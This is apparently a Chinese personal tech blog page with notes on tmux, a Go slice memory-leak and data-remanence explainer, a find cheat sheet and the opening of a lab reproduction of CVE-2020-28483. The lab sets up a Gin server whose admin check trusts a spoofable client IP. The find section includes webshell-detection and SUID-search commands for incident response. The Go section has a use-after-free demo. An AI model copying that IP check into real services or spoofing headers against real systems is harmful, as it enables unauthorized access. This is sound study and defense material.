                             -network="10.10.10.10,10.10.10.20"       -    仅扫描选定的 IP 地址
                             -network="10.10.10.10/24"                -    基于 IP 地址/子网掩码扫描主机
                             -ports="80,443,8080"                     -    If a
list of ports is provided, use this list instead of the nmap top 1000 TCP

[REFS] 参考资料

笔记 Linux-tmux

Thu, 19 Mar 2026 17:25:13 +0800

Linux-tmux

TL;DR：高频命令速查

在执行任何快捷键之前，必须先按下前缀键（默认是 <C-b> Ctrl+b键）
在使用过程中如果不知道现在要怎么操做，直接敲<C-b> ?查看快捷键

会话层 - 项目级隔离

创建会话

`1`	`tmux new -s <name>`

进入会话（不指定t默认使用序号创建）

`1`	`tmux a -t <name>`

列出会话

tmux ls

删除会话 (不指定 -t 则删除当前会话)

`1`	`tmux kill-session -t <name>`

会话层快捷键：

操作	快捷键
脱离会话 (挂起至后台)	`<C-b> d`

窗口层 - 任务标签页

CLI 创建窗口

`1`	`tmux new-window -n <name>`

窗口层快捷键：

操作	快捷键
新建窗口	`<C-b> c`
下 / 上一个窗口	`<C-b> n / p`
跳转窗口	`<C-b> 0-9`
重命名窗口	`<C-b> ,`
关闭窗口	`<C-b> &`

窗格层 - 一屏多用

窗格层快捷键：

操作	快捷键
垂直分割 (左右分屏)	`<C-b> %`
水平分割 (上下分屏)	`<C-b> "`
切换窗格	`<C-b> 方向键`
全屏切换 (放大 / 缩小当前窗格)	`<C-b> z`
调整大小	`<C-b> <C-方向键>`
关闭窗格	`<C-b> x`

守护进程 (Server)

启动守护进程

`1`	`tmux start-server`

停止所有会话

`1`	`tmux kill-server`

指定 socket

`1`	`tmux -L <socket>`

指定 socket 路径

`1`	`tmux -S /path/to/socket`

强制终止进程

`1`	`pkill -f tmux`

Welcome to tmux!

tmux 是终端多路复用器。它可以让您轻松地在一个终端中的多个程序之间切换、分离它们（它们在后台继续运行）并将它们重新连接到不同的终端。

幕后：tmux 守护进程

不要把 tmux 当成普通的命令，它的本质是一个常驻后台的服务

悄悄打工：当你敲下第一句 tmux 时，它就会在后台默默启动，接管你的终端。
断线保命：突然断网了？别慌。它的后台仍在运行，随时等你回来“认领”工作现场。（前提是服务器没重启、tmux 进程没被杀掉）。
功成身退：当你手动关闭了它里面所有的会话和窗口后，它就会自动销毁，绝不偷偷占用内存。

评价一下

纯牛马
自己来，自己走，中间还无条件给你后台保底

会话、窗口和窗格

窗格：tmux里，每个窗格都是一个终端
窗口：当前的显示界面，可以由多个窗格组成，同时可以给窗口一个名字
会话：由多个窗口组成，一般一个会话用于一个项目

滚动与复制

由于默认配置下的tmux接管了终端，无法使用<S-PgUp>进行屏幕滚动，那么我们需要进入tmux自己的滚动与复制逻辑邻域了……（虽然我感觉这有点难用）

tmux正常的复制流程如下：

阶段	步骤说明	快捷键
1. 进入	冻结屏幕，开启翻页模式	`<C-b> [`
2. 浏览	上下翻找历史日志/报错信息	方向键或 PgUp/Dn
3. 选中	在目标起点开启选择	`<C-Space>`
4. 复制	覆盖目标文本后确认并退出	`<Enter>`
5. 粘贴	在命令行甩出内容	`<C-b> ]`
取消	随时放弃操作并返回实时终端	`q`

同时这里有一个大坑，C-Space 会出现快捷键冲突，导致无法进入复制模式！！！！

我这里准备了几个方法：

添加配置，添加set -g mouse on到~/.tmux.conf里，让鼠标可以在tmux使用，但是可能会遇到一些异常情况
添加配置，添加set -w -g mode-keys vi到~/.tmux.conf,使用vi的键盘操作方式进行复制。只需要学会hjklvyq就学会vi了(bushi 还有其他比较复杂的方式就不例举出来了

会话之外 - 一些杂项操作

~/.tmux.conf 配置

可以将以下配置加入到~/.tmux.conf 配置最下面，优化使用体验

# --- 交互基础：开启鼠标支持（支持滚轮翻页、点击换窗口、拖拽改分屏） ---
set -g mouse on

# --- 复制模式：使用 vi 按键绑定（进入 <C-b> [ 后可用 h/j/k/l 移动） ---
set -w -g mode-keys vi

# --- 命令行模式：在 tmux 的命令提示符下（<C-b> :）使用 vi 按键 ---
set -g status-keys vi

# --- 编号习惯：窗口编号从 1 开始（键盘上 1 在左边，0 太远了） ---
set -g base-index 1

# --- 编号习惯：窗格编号也从 1 开始 ---
set -g pane-base-index 1

# --- 进阶补充 1：环境对齐（让终端颜色和 Vim 保持一致，告别灰蒙蒙） ---
set -g default-terminal "screen-256color"

# --- 进阶补充 2：自动重编号（关闭中间的窗口后，后面的窗口自动顶上来） ---
set -g renumber-windows on

# --- 进阶补充 3：焦点监控（让 Vim 知道你切走了，触发自动保存/插件刷新） ---
set -g focus-events on

复杂内容以后再来探索吧（

参考

Go-面试错题-Slice内存泄漏

Wed, 11 Mar 2026 11:36:16 +0800

Go-面试错题-Slice内存泄漏

📝 声明与参考 (References & Declarations)

🤖 AI 辅助生成: 本文核心底层逻辑拆解、ASCII 内存拓扑图及 PoC 攻防代码由 AI (Gemini-3.1-Pro) 生成与排版，技术细节已人工校验。

0x00 提问现场 (The Scenario)

面试原题：

“在处理大规模监控数据时，从 1GB 大小的 slice 中切出最后 10 个元素 (newSlice := oldSlice[len-10:])，然后把 oldSlice 置为 nil。这 1GB 内存会被 GC 回收吗？为什么？如何优化？”

❌ 常见踩坑回答 (The Trap)： “会被回收。因为 oldSlice 已经被置为 nil，失去了对底层数组的引用，GC 扫描时会把这 1GB 内存清空并释放。”

✅ 满分硬核回答 (TL;DR)：

绝对不会回收：newSlice 的 pointer 依然持有对这 1GB 连续物理内存尾部的引用。只要该活跃指针存活，整块 1GB 内存的生命周期就会被强制延长，GC 无法将其标记为可回收状态。
根本原因：oldSlice = nil 仅销毁了 24 字节的 Slice Header 结构体，切片操作本身不触发内存拷贝，因此 1GB 的底层数组（Underlying Array）依然完整驻留在内存中。
正确优化：必须分配独立的内存空间并执行数据深拷贝（推荐 slices.Clone()），彻底阻断新切片与原 1GB 数组的指针依赖，使原数组成为不可达对象（Unreachable）从而被 GC 顺利回收。

0x01 核心结论与底层根因 (Root Cause)

结论：这 1GB 内存绝对不会被 GC 回收。

1. Slice 的真实物理结构 (The Anatomy)

Go 的 slice 本质上不是数组，而是一个占 24 字节（64位系统）的 Slice Header (切片头) 结构体。

[ Slice Header (24 Bytes) ]
+-----------------------+
| pointer  (8 bytes)    | ---> (指向底层数组首地址)
+-----------------------+
| length   (8 bytes)    | ---> (当前切片可访问的元素个数)
+-----------------------+
| capacity (8 bytes)    | ---> (从 pointer 开始到底部的总容量)
+-----------------------+
           |
           | (pointer 指向真实物理连续内存)
           v
[ Underlying Array (底层真实物理连续内存) ]
+-----+-----+-----+-------+---------+
| [0] | [1] | [2] | ..... | [len-1] |
+-----+-----+-----+-------+---------+

2. 根因拆解：为何 GC 拒绝回收？(Why GC Fails)

为了避免行宽过长导致换行错乱，采用垂直拓扑图展示这三个核心机制的物理内存联动过程：

[ 1. 假象: oldSlice = nil ]
oldSlice Header (24 bytes)
+-----------+
| pointer   | --X--> (销毁指针)
+-----------+      |
                   |
                   v
        +-----------------------+ <--- [ 1GB 连续物理内存 ]
        | [0]                   |      
        | [1]                   |
        | ... (大量前置数据)    |
        |                       |
        | [len-10] <------------|-----+ [ 2. 指针偏移绑架 ]
        | ...                   |     | newSlice 绝不复制底层数组
        | [len-1]               |     | pointer 直接发生内存地址偏移
        +-----------------------+     | 精准锚定在尾部数据块
                                      |
newSlice Header (24 bytes)            |
+-----------+                         |
| pointer   | ------------------------+ 
| len: 10   |
| cap: 10   |
+-----------+

[ 3. GC 扫描机制 (Mark-and-Sweep) ]
[ GC Scanner ] ---> 扫描该 1GB 内存所在的 mspan (内存管理单元)
                    |
                    +---> 发现尾部存在活跃指针 (newSlice.pointer)
                    |
                    +---> 判定结果：整块内存存活 (Live)！绝对不予释放！

核心机制说明：

假象 (oldSlice = nil)：这仅仅是销毁了 oldSlice 这个 24 字节的 Slice Header 变量，底层 1GB 的连续物理内存原封不动。
指针偏移绑架 (newSlice := ...)：Go 的切片操作绝不会复制底层数组。newSlice 只是生成了一个新的 Slice Header，它的 pointer 发生了一次数学偏移，直接指向了原 1GB 数组倒数第 10 个元素的物理内存地址。
GC 扫描机制 (Mark-and-Sweep)：Go 的垃圾回收器以内存管理单元 (mspan) 为粒度工作。当 GC 扫描时，发现这块 1GB 的连续内存中，依然有一个活跃指针（newSlice.pointer）死死连着它的尾部。只要整块连续内存中存在任何一处活跃引用，整块 1GB 内存就会被判定为存活 (Live)，绝对不予释放。

0x02 修复方案与正确代码 (Optimization)

核心对策：必须执行深拷贝 (Deep Copy)。 通过分配一块全新的小内存，将需要的数据复制过去，彻底斩断与原 1GB 底层数组的指针联系，使原数组成为不可达对象 (Unreachable)，从而被 GC 顺利回收。

1. 修复后内存拓扑图 (Fixed Memory Topology)

[ 修复后: newSlice := slices.Clone(oldSlice[len-10:]) ]

oldSlice Header (已销毁)
+-----------+
| ptr: nil  | --X (指针断开)
+-----------+
              +--------------------------------------------+
[原 1GB 内存] | [0] | [1] | ... | [len-10] | ... | [len-1] |
(无活跃引用)  +--------------------------------------------+
   |
   +---> [ GC 扫描判定: Unreachable -> 成功回收 1GB 内存！]

newSlice Header
+-----------+       +---------------------------------+
| ptr: 0xN  | ----> | [0] | [1] | ... | [9] (新内存)  |
| len: 10   |       +---------------------------------+
| cap: 10   |
+-----------+

2. 完整验证与修复代码 (Proof of Concept)

以下代码对比了内存泄漏场景与修复场景，通过 runtime.MemStats 直接观测堆内存分配情况（保存为 main.go 直接运行）：

package main

import (
	"fmt"
	"runtime"
	"slices"
)

// 模拟生成 1GB 大小的 slice (约 1.34 亿个 int64 元素)
func generateLargeSlice() []int64 {
	return make([]int64, 134217728)
}

// 打印当前堆内存分配情况
func printMemUsage(tag string) {
	var m runtime.MemStats
	runtime.GC() // 强制触发 GC 以获取准确的存活对象数据
	runtime.ReadMemStats(&m)
	fmt.Printf("[%s] 当前堆内存分配: %v MB\n", tag, m.Alloc/1024/1024)
}

func main() {
	printMemUsage("1. 初始状态")

	// ==========================================
	// 场景 A：错误示范 (内存泄漏)
	// ==========================================
	oldSlice := generateLargeSlice()
	printMemUsage("2. 分配 1GB oldSlice 后")

	// 错误切片：底层数组依然被 newSliceLeak 的 pointer 引用
	newSliceLeak := oldSlice[len(oldSlice)-10:]
	oldSlice = nil
	printMemUsage("3. 错误切片并置空 oldSlice 后 (内存未回收)")
	_ = newSliceLeak // 防止编译报错

	// ==========================================
	// 场景 B：正确示范 (彻底释放)
	// ==========================================
	oldSlice2 := generateLargeSlice()
	printMemUsage("4. 重新分配 1GB oldSlice2 后")

	// 优化方案 1: 使用 slices.Clone (Go 1.21+ 标准库推荐，最优雅)
	newSliceFixed := slices.Clone(oldSlice2[len(oldSlice2)-10:])
	
	/* 
	// 优化方案 2: 使用 append (兼容老版本 Go)
	// newSliceFixed := append([]int64(nil), oldSlice2[len(oldSlice2)-10:]...)
	
	// 优化方案 3: 使用 make + copy (兼容老版本 Go，性能最高)
	// newSliceFixed := make([]int64, 10)
	// copy(newSliceFixed, oldSlice2[len(oldSlice2)-10:])
	*/

	oldSlice2 = nil
	printMemUsage("5. 正确深拷贝并置空 oldSlice2 后 (1GB 内存成功回收)")
	_ = newSliceFixed
}

0x03 安全延伸：GC 回收后数据清零了吗？(Data Remanence)

结论：绝对没有清零。在被下一次新数据覆盖前，敏感数据以明文形式裸奔在物理内存中。

1. GC 的“懒惰”机制 (Lazy Zeroing)

打标签，不擦除：Go 的 GC (Mark-and-Sweep) 在回收内存时，仅仅是将这块内存所在的 mspan 标记为 Free（空闲可用）。为了节省宝贵的 CPU 性能，绝不会主动执行清零操作。
何时才清零？：只有当这块内存被下一次重新分配给新变量时（例如执行 make 或 new），Go Runtime 才会调用底层的 memclr 将其写 0。
高危真空期 (Vacuum Period)：在“被 GC 回收”到“被下次分配”的这段时间，旧数据（如密码、API Token、私钥）完好无损地躺在 RAM 中。

2. 内存生命周期拓扑图 (Memory Lifecycle)

为了适配屏幕宽度，采用垂直时间轴展示数据残留过程：

[ 1. 正常使用 (In-Use) ]
+------------------------------------+
| 状态: 活跃 | 物理内存: 0xAAAA      |
| 变量: key  | 数据内容: "P@ssw0rd"  |
+------------------------------------+
       |
       v (变量置 nil, 触发 GC 回收)
[ 2. 高危真空期 (Free - 数据残留!) ]
+------------------------------------+
| 状态: 空闲 | 物理内存: 0xAAAA      | <--- 黑客通过进程 Dump
| 变量: 无   | 数据内容: "P@ssw0rd"  | <--- 或悬垂指针(UAF)提取明文
+------------------------------------+
       |
       v (系统执行 make/new 再次分配该内存)
[ 3. 重新分配 (Reallocated & Zeroed) ]
+------------------------------------+
| 状态: 活跃 | 物理内存: 0xAAAA      | <--- 此时 Runtime 才执行 memclr
| 变量: new  | 数据内容: 00000000    | <--- 彻底清零，写入新数据
+------------------------------------+

3. 攻防代码演示 (PoC: Use-After-Free)

作为安全工程师，我们可以利用 unsafe 包绕过 Go 的类型安全，保留绝对内存地址，在 GC 后强行读取所谓的“已回收”内存。

以下是完整的验证代码（直接保存为 main.go 运行）：

package main

import (
	"fmt"
	"runtime"
	"unsafe"
)

func main() {
	// ==========================================
	// 攻击视角：证明 GC 不清零 (UAF 漏洞模拟)
	// ==========================================
	
	// 1. 分配敏感数据 (强制分配到堆上)
	secret := new([8]byte)
	copy(secret[:], "P@ssw0rd")
	
	// 获取绝对物理内存地址 (uintptr 是纯数字，逃避 GC 追踪)
	rawAddr := uintptr(unsafe.Pointer(secret))
	fmt.Printf("[+] [攻击] 原始数据: %s, 物理地址: 0x%x\n", string(secret[:]), rawAddr)

	// 2. 销毁合法引用并触发 GC
	secret = nil
	runtime.GC()
	runtime.GC()

	// 3. 黑客视角：通过裸地址强行读取“已回收”的内存
	// 注意: 编辑器在此处报 possible misuse of unsafe.Pointer 是正常现象。
	// 因为静态检查工具发现了我们正在进行高危的 UAF 内存劫持。
	danglingPtr := (*[8]byte)(unsafe.Pointer(rawAddr))
	fmt.Printf("[!] [攻击] GC 回收后，强行读取该地址数据: %s (明文泄漏！)\n\n", string(danglingPtr[:]))


	// ==========================================
	// 防御视角：敏感数据的正确销毁方式 (Zeroize)
	// ==========================================
	
	secureKey := new([8]byte)
	copy(secureKey[:], "SuperKey")
	
	secureAddr := uintptr(unsafe.Pointer(secureKey))
	fmt.Printf("[+] [防御] 生成新密钥: %s, 物理地址: 0x%x\n", string(secureKey[:]), secureAddr)

	// 1. 安全规范：在丢弃敏感数据前，必须手动覆写物理内存！
	wipeMemory(secureKey[:])
	
	// 2. 销毁引用并触发 GC
	secureKey = nil
	runtime.GC()
	runtime.GC()

	// 3. 验证视角：再次利用 UAF 漏洞强行读取该地址
	safeDanglingPtr := (*[8]byte)(unsafe.Pointer(secureAddr))
	
	// 此时打印出来的将是 [0 0 0 0 0 0 0 0]，证明物理电荷已被排空
	fmt.Printf("[+] [防御] 销毁后，强行读取该地址数据: %v (全 0 字节，安全！)\n", safeDanglingPtr[:])
}

// wipeMemory 手动将切片内存写 0 (物理放电)
// 针对密码、私钥、Token 等高价值目标必须执行此操作
func wipeMemory(buf []byte) {
	for i := range buf {
		buf[i] = 0
	}
}

0x04 终极对抗：物理恢复与 OS Swap 逃逸 (Swap Escape)

结论：RAM 层面写 0 后绝对无法物理恢复。但操作系统 (OS) 的虚拟内存机制会出卖你，导致数据永久泄漏到物理硬盘。

1. 物理神话破灭 (Physical Reality of DRAM)

电容放电：现代内存 (DRAM) 基于微小电容存储数据。将内存写 0，在物理层面上就是排空该电容的电荷。
无磁性残留 (No Remanence)：与早期的机械硬盘 (HDD) 不同，RAM 写 0 后不存在任何可测量的物理残留。所谓的冷启动攻击 (Cold Boot Attack) 只能在内存尚未被覆写时生效。一旦执行了 Zeroize，即便是 NSA 级别的硬件专家也无法找回。

2. 真正的致命漏洞：虚拟内存 (Virtual Memory)

作为安全工程师，你防住了 GC，防住了 UAF，却可能死在 OS 手里。

换页机制 (Paging)：现代 OS 都有虚拟内存（Linux 的 Swap，Windows 的 Pagefile）。当系统内存紧张时，OS 会将你 Go 程序中尚未清零的敏感数据“换页”写入到物理硬盘上。
Swap 逃逸 (Swap Escape)：即使你最终在 RAM 中把数据清零了，硬盘上的 Swap 分区依然保留着完整的明文副本！ 硬盘数据极易被法证工具 (Forensics Tools) 恢复。

3. 内存逃逸拓扑图 (Swap Escape Topology)

[ 危险场景：未锁定的内存 (Swap Escape) ]
Go App (RAM)                                OS Disk (Swap/Pagefile)
+-----------------------+                   +-----------------------+
| 1. 生成密钥: "P@ss"   | --(OS 触发换页)-> | 存储明文: "P@ss"      |
| 2. 内存写 0: "0000"   |                   | [!] 硬盘数据永久残留  |
| 3. GC 回收            |                   | (极易被取证工具恢复)  |
+-----------------------+                   +-----------------------+

[ 安全场景：Mlock 物理内存锁定 ]
Go App (RAM)                                OS Disk (Swap/Pagefile)
+-----------------------+                   +-----------------------+
| 1. Mlock() 锁定内存   | --X-(严禁换页)-X> | (无数据，绝对安全)    |
| 2. 生成密钥: "P@ss"   |                   |                       |
| 3. 内存写 0: "0000"   |                   |                       |
+-----------------------+                   +-----------------------+

防御思路：在处理顶级机密（私钥、助记词、核心 Token）时，必须向 OS 申请特权，将这块内存死死钉在物理 RAM 中 (Mlock)，严禁任何形式的硬盘换页。

0x05 终极防御代码：Mlock + Zeroize (Ultimate Defense)

核心防御链路：独立分配 (Make) -> 物理锁定 (Mlock) -> 注入机密 -> 物理放电 (Zeroize) -> 解锁释放 (Munlock + GC)。

处理高价值目标（如 RSA 私钥、加密钱包助记词、核心 API Token）时，必须将防线推进到 OS 级别。

完整跨平台防御代码 (Secure Memory Allocation)

以下代码展示了如何向 OS 申请特权，将敏感数据死死钉在物理 RAM 中，并在生命周期结束时彻底物理湮灭（以 Linux/macOS 为例，保存为 secure_mem.go 运行）：

package main

import (
	"fmt"
	"syscall"
)

// wipeMemory 强制将切片内所有字节覆写为 0 (物理放电)
// 核心防御：在解除锁定和 GC 回收前，必须主动抹除 RAM 电荷
func wipeMemory(buf []byte) {
	for i := range buf {
		buf[i] = 0
	}
}

func main() {
	fmt.Println("[*] 初始化高安全级别内存分配 (SecMem)...")

	// 1. 独立分配内存 (Make)
	// 必须使用 make，确保分配的是独立的 Underlying Array，绝不与其他业务共享底层内存
	secretKey := make([]byte, 32)

	// 2. 锁定物理内存 (Mlock)
	// 核心防御：向 OS 声明，严禁将此内存块 Swap/Pagefile 到物理硬盘！
	// 注意：Linux 下普通用户执行会报 "cannot allocate memory"，需要 root 权限或配置 limits.conf (memlock)
	err := syscall.Mlock(secretKey)
	if err != nil {
		fmt.Printf("[!] Mlock 失败: %v\n", err)
		fmt.Println("[!] 警告：存在 Swap 逃逸风险，硬盘可能残留明文！")
	} else {
		fmt.Println("[+] Mlock 成功：已免疫硬盘 Swap 逃逸。")
	}

	// 3. 注入高价值数据 (In-Use)
	copy(secretKey, "Super_Secret_RSA_Private_Key_XYZ")
	fmt.Printf("[+] 密钥已加载，物理内存地址: %p\n", secretKey)

	// ==========================================
	// ... 业务逻辑处理 (签名、加密等) ...
	// ==========================================

	// 4. 手动物理清零 (Zeroize)
	// 此时 RAM 中的电容电荷被物理排空，即使是冷启动攻击也无法恢复
	wipeMemory(secretKey)
	fmt.Println("[+] 内存已手动 Zeroize (全 0 覆写，物理放电完成)。")

	// 5. 解除内存锁定 (Munlock)
	// 允许 OS 重新接管这块已经清空的废弃内存
	if err == nil {
		_ = syscall.Munlock(secretKey)
		fmt.Println("[+] Munlock 成功：内存控制权交还 OS。")
	}

	// 6. 销毁指针，安全移交 GC
	// 此时底层数组已全 0，即使触发 UAF 漏洞也只能读到 0x00
	secretKey = nil
	fmt.Println("[*] 引用已销毁，生命周期结束。数据已从物理维度彻底湮灭。")
}

参考

封面

Linux命令-find

Tue, 10 Mar 2026 22:48:26 +0800

Linux命令-find

0x00 TL;DR (太长不看版)：一分钟速通

TEXT
+-------------------------------------------------------------+
|   find 核心语法公式：在哪找？ -> 找什么？ -> 找到后干嘛？   |
+-------------------------------------------------------------+
   find     <PATH>        <CONDITIONS>         <ACTIONS>
    |         |                |                   |
    v         v                v                   v
  命令     . (当前目录)     -name "*.log"       -delete (直接删除)
           / (根目录)       -size +1G           -exec ls -l {} + (执行命令)
           /var/log       -mtime -7           -print (默认打印)

高频操作

找文件 (按名字/后缀)

# 忽略大小写，找当前目录及子目录包含 config 的文件
find . -iname "*config*"

# 找所有的 .py 和 .go 代码文件
find . -type f \( -name "*.py" -o -name "*.go" \)

查容量 (排查磁盘打满)

1
2

   # 全局查找大于 500MB 的文件，并屏蔽权限报错 (2>/dev/null)
find / -type f -size +500M 2>/dev/null

查时间 (排查被黑/最近改动)

1
2

   # 查找 /etc 下最近 24 小时内被修改过的文件
find /etc -type f -mtime -1

批量操作 (自动化运维/清理)

   # 清理 30 天前的旧日志文件 (极速模式)
find /var/log -name "*.log" -mtime +30 -delete

# 批量修复 Web 目录权限 (目录 755，文件 644)
find /var/www/html -type d -exec chmod 755 {} +
find /var/www/html -type f -exec chmod 644 {} +

核心避坑口诀

找文件必须加 -type f，否则目录也会匹配上。
通配符必须加双引号（如 "*log"），防止被 Shell 提前解析。
批量执行命令时，结尾用 + 比用 \; 性能高百倍（类似 xargs 机制）。

0x01 抄起就用：高频过滤参数速查表

1. 按类型与名称 (Type & Name)

参数	含义	示例 / 备注
-type f	仅查找普通文件 (File)	find . -type f (最常用，过滤掉目录)
-type d	仅查找目录 (Dir)	find . -type d
-type l	仅查找软链接 (Link)	find . -type l
-name	按文件名精确/通配匹配	-name “*.conf” (严格区分大小写)
-iname	按文件名忽略大小写	-iname “readme.txt” (匹配 README.txt)

2. 按文件大小 (Size)

单位速记：c (Bytes), k (KB), M (MB), G (GB)。注意区分大小写！

参数	含义	示例 / 备注
-size +nM	大于 n MB	-size +500M (找大文件排查磁盘)
-size -nK	小于 n KB	-size -10k
-size nG	精确等于 n GB	-size 1G (极少用精确匹配)
-empty	查找空文件/空目录	find . -type f -empty

3. 按时间戳 (Time)

时间轴逻辑：+n = n天前 (更老)；-n = n天内 (更新)；n = 正好第n天。

参数	含义 (以天为单位)	示例 / 备注
-mtime	修改时间 (内容变更)	-mtime -7 (最近7天内被修改过的文件)
-atime	访问时间 (被读取过)	-atime +30 (30天没被碰过的冷数据)
-ctime	改变时间 (权限/属性)	-ctime -1 (最近24小时内权限被改过)
-mmin	分钟级修改时间	-mmin -60 (最近1小时内修改，应急排查用)

4. 按权限与归属 (Permission & Owner) - Security Ops 常用

参数	含义	示例 / 备注
-user	属主匹配	-user www-data (找 Web 服务创建的文件)
-group	属组匹配	-group docker
-perm	权限精确匹配	-perm 777 (找高危全开权限文件)
-perm -n	权限包含匹配	-perm -4000 (找 SUID 提权后门文件)
-nouser	无主文件 (孤儿文件)	离职员工删号后遗留，黑客隐藏常用

5. 多条件组合逻辑 (AND / OR / NOT)

默认多个参数连写就是 AND (与) 的关系。

AND (默认): find . -type f -name "*.log" (是文件且后缀是 .log)
OR (-o): find . -type f $ -name "*.jpg" -o -name "*.png" $ (找 jpg 或 png，注意括号要转义 \( )
NOT (!): find . -type f ! -name "*.tmp" (找所有文件，排除 .tmp 后缀)

0x02 实战演练：批量操作 (-exec 与 -delete 自动化)

核心思维：find 的真正威力在于 “找到即执行”，实现自动化运维。

场景 1：批量文件操作

痛点：手动对每个文件执行相同操作。

# 1. 批量重命名（给所有 .txt 文件添加 .bak 后缀）
find . -name "*.txt" -exec mv {} {}.bak \;

# 2. 批量转换编码（GBK → UTF-8）
find . -name "*.java" -exec iconv -f GBK -t UTF-8 {} -o {}.utf8 \;

# 3. 批量计算 MD5（安全审计）
find /etc -type f -exec md5sum {} \; > etc_files.md5

场景 2：自动化清理

痛点：磁盘空间告警，需快速定位并清理垃圾文件。

# 1. 清理所有临时文件（安全模式：先打印，确认后删除）
find /tmp -name "*.tmp" -type f -mtime +7  # 先查看
find /tmp -name "*.tmp" -type f -mtime +7 -delete  # 确认后执行

# 2. 删除所有空目录（递归清理）
find . -type d -empty -delete

# 3. 清理 Docker 残留（容器日志/缓存）
find /var/lib/docker -name "*.log" -size +100M -exec truncate -s 0 {} \;

场景 3：安全应急响应

痛点：服务器被入侵后，快速排查异常。

# 1. 查找 24 小时内新增/修改的可执行文件（提权后门）
find / -type f -perm /111 -mtime -1 2>/dev/null | head -20

# 2. 查找 Web 目录下的 webshell（PHP/Ruby/Python）
find /var/www -type f \( -name "*.php" -o -name "*.rb" -o -name "*.py" \) \
  -exec grep -l "eval\|base64_decode\|shell_exec" {} \; 2>/dev/null

# 3. 查找 SUID 特权文件（提权利用）
find / -type f -perm -4000 -ls 2>/dev/null

性能优化：-exec 的两种模式

+----------------+----------------+------------------------------+
| 模式           | 语法           | 执行逻辑                     |
+----------------+----------------+------------------------------+
| 逐个执行       | -exec cmd {} \;| 每找到一个文件，执行一次命令 |
| 批量执行       | -exec cmd {} + | 一次性传递所有文件，执行一次 |
+----------------+----------------+------------------------------+

性能对比测试：

# 创建 1000 个测试文件
for i in {1..1000}; do touch /tmp/test_$i.txt; done

# 逐个执行（慢！启动 1000 次进程）
time find /tmp -name "test_*.txt" -exec ls -l {} \;

# 批量执行（快！只启动 1 次进程）
time find /tmp -name "test_*.txt" -exec ls -l {} +

实战选择：

需要操作结果（如 -exec mv {} {}.bak \;）→ 用 \;
统计/批量处理（如 -exec chmod 644 {} +）→ 用 +

0x03 避坑指南：性能优化与高级技巧

错误 1：忘记处理权限错误

# ❌ 新手写法（满屏 Permission denied）
find / -name "*.conf"

# ✅ 专业写法（屏蔽所有 stderr 错误）
find / -name "*.conf" 2>/dev/null

# ✅ 运维写法（只屏蔽权限错误，保留其他错误）
find / -name "*.conf" 2>&1 | grep -v "Permission denied"

错误 2：递归遍历导致卡死

问题：find /proc 或 find /sys 会陷入死循环。

# ❌ 危险！可能卡死系统
find /proc -name "*"

# ✅ 跳过特殊文件系统
find / -path /proc -prune -o -name "*.conf" -print
# 含义：如果路径是 /proc 就剪枝（跳过），否则执行查找

# ✅ 通用模板：跳过多个目录
find / \( -path /proc -o -path /sys -o -path /dev \) -prune -o -name "*.conf" -print

高级技巧 1：配合 xargs 提升百倍性能

原理：xargs 可将标准输入转为命令行参数，减少进程启动次数。

# 传统 -exec（启动 1000 次 rm 进程）
find . -name "*.tmp" -exec rm {} \;

# xargs 优化（1-10 次 rm 进程）
find . -name "*.tmp" -print0 | xargs -0 rm -f

# 带并行加速（4 进程并发删除）
find . -name "*.tmp" -print0 | xargs -0 -P4 rm -f

高级技巧 2：统计与报告

# 统计当前目录下各类型文件数量
find . -type f -name "*.*" | awk -F. '{print $NF}' | sort | uniq -c | sort -rn

# 生成磁盘使用报告（大文件 Top10）
find / -type f -size +100M 2>/dev/null -exec du -h {} + | sort -rh | head -10

# 查找重复文件（按 MD5）
find . -type f -exec md5sum {} + | sort | uniq -Dw32

终极总结：find 思维模型

路径思维：明确搜索起点（.、/、/var/log）。
过滤思维：按需组合条件（类型、名称、时间、大小、权限）。
行动思维：找到后要做什么（打印、删除、执行命令）。
性能思维：屏蔽错误、跳过目录、批量执行。
安全思维：小心 -delete，先用 -print 确认。

一句话公式：

`1`	`find <在哪找> <找什么> <找到后干嘛>`

立刻上手：复制下方命令到终端，体验完整流程。

# 创建测试环境
mkdir -p /tmp/find_demo && cd /tmp/find_demo
touch {1..3}.txt {1..3}.log
mkdir -p subdir && touch subdir/4.txt

# 练习：找出所有 .txt 文件并显示详情
find . -name "*.txt" -exec ls -lh {} \;

# 清理
cd && rm -rf /tmp/find_demo

参考

漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制

Fri, 06 Mar 2026 21:15:00 +0800

漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制

gin 框架所有版本默认无条件信任 X-Forwarded-For 请求头，当 gin 直接暴露在公网时，攻击者只需在请求中添加一个 HTTP 头，即可伪造任意客户端 IP，绕过一切基于 c.ClientIP() 的访问控制、限流、审计机制。

0x00 TL;DR


漏洞本质: 伪造 HTTP 头 → 欺骗 IP 识别 → 绕过访问控制
影响版本: gin 全版本（修复于 1.7.0）
利用难度: ★☆☆☆☆
危害等级: CVSS 3.1 → 7.1 HIGH
前置条件: gin 直接暴露公网 + 用 ClientIP() 做安全决策
修复方案: 
	方案1：升级 >= 1.7.0 + 配置 TrustedProxies（生产推荐）
	方案2：禁用 ForwardedByClientIP（完全不信任 XFF）
	方案3：不依赖 ClientIP()，自行解析 TCP 地址

0x01 环境搭建

Step 1: 初始化项目

1
2
3

mkdir cve-2020-28483
cd cve-2020-28483
go mod init cve-2020-28483

Step 2: 添加依赖

`1`	`go get github.com/gin-gonic/gin@v1.6.3`

Step 3: 验证 go.mod

`1`	`cat go.mod`

module cve-2020-28483

go 1.25.0

require github.com/gin-gonic/gin v1.6.3

Step 4: 创建 main.go

package main

import (
	"net/http"

	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()

	r.GET("/admin", func(ctx *gin.Context) {
		clientIP := ctx.ClientIP()
		if clientIP == "127.0.0.1" {
			ctx.JSON(http.StatusOK, gin.H{
				"message":   "Welcome, tructed admin!",
				"client_ip": clientIP,
				"secret":    "FLAG{CVE-2020-28483}",
			})
		} else {
			ctx.JSON(http.StatusForbidden, gin.H{
				"message":   "Access Denied",
				"client_ip": clientIP,
			})
		}
	})

	r.GET("/whoami", func(ctx *gin.Context) {
		ctx.JSON(http.StatusOK, gin.H{
			"your_ip": ctx.ClientIP(),
			"xff":     ctx.GetHeader("X-Forwarded-For"),
			"remote":  ctx.Request.RemoteAddr,
		})
	})

	r.Run(":8080")
}

Step 5: 启动服务

1
2

go mod tidy
go run main.go

1
2
3

[GIN-debug] GET    /admin
[GIN-debug] GET    /whoami
[GIN-debug] Listening and serving HTTP on :8080

0x02 漏洞复现

正常请求 — 被拒绝

